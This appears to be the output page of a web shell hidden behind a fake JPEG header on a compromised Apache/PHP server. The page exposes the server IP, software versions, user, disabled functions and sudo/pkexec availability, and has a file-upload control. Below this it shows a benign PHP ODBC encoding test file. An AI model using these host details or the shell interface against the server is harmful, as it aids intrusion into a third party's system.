????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.116.170.100 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/odbc/tests/ |
Upload File : |
--TEST-- odbc_exec(): Getting accurate unicode data from query --SKIPIF-- <?php include 'skipif.inc'; ?> <?php if ("unixODBC" != ODBC_TYPE) { die("skip ODBC_TYPE != unixODBC"); } ?> --FILE-- <?php // Test strings mb_internal_encoding("EUC_JP"); $euc_jp_base64 = 'pdal6aWkpcCl676uyqo='; $euc_jp = base64_decode($euc_jp_base64); $ascii = 'abcdefghijklmnopqrstuvwxyz;]=#0123456789'; include 'config.inc'; ini_set("odbc.defaultlrl", 4); // Set artifically low $conn = odbc_connect($dsn, $user, $pass); odbc_exec($conn, 'CREATE DATABASE odbcTEST ENCODING=\'EUC_JP\''); odbc_exec($conn, 'CREATE TABLE FOO (ID INT, CHAR_COL CHAR(200), VARCHAR_COL VARCHAR(200), TEXT_COL TEXT)'); odbc_exec($conn, "INSERT INTO FOO(ID, CHAR_COL, VARCHAR_COL, TEXT_COL) VALUES (1, '$euc_jp', '$euc_jp', '$euc_jp')"); odbc_exec($conn, "INSERT INTO FOO(ID, CHAR_COL, VARCHAR_COL, TEXT_COL) VALUES (2, '$ascii', '$ascii', '$ascii')"); $res = odbc_exec($conn, 'SELECT * FROM FOO ORDER BY ID ASC'); while(odbc_fetch_row($res)) { $char_col = odbc_result($res, "CHAR_COL"); $varchar_col = odbc_result($res, "VARCHAR_COL"); $id = odbc_result($res, "ID"); $text_col = ""; while (($chunk=odbc_result($res, "TEXT_COL")) !== false) { $text_col .= $chunk; } if ($id == 1) { $euc_jp_check = $euc_jp . str_repeat(" ", (200 - mb_strlen($euc_jp))); if (strcmp($char_col, $euc_jp_check) == 0 && strcmp($varchar_col, $euc_jp) == 0 && strcmp($text_col, $euc_jp) == 0) { print "EUC-JP matched\n"; } else { print "EUC-JP mismatched\n"; } } else { $ascii_check = $ascii . str_repeat(" ", (200 - strlen($ascii))); if (strcmp($char_col, $ascii_check) == 0 && strcmp($varchar_col, $ascii) == 0 && strcmp($text_col, $ascii) == 0) { print "ASCII matched\n"; } else { print "ASCII mismatched\n"; } } } ?> --EXPECT-- EUC-JP matched ASCII matched --CLEAN-- <?php include 'config.inc'; $conn = odbc_connect($dsn, $user, $pass); odbc_exec($conn, 'DROP TABLE FOO'); odbc_exec($conn, 'DROP DATABASE odbcTEST'); ?>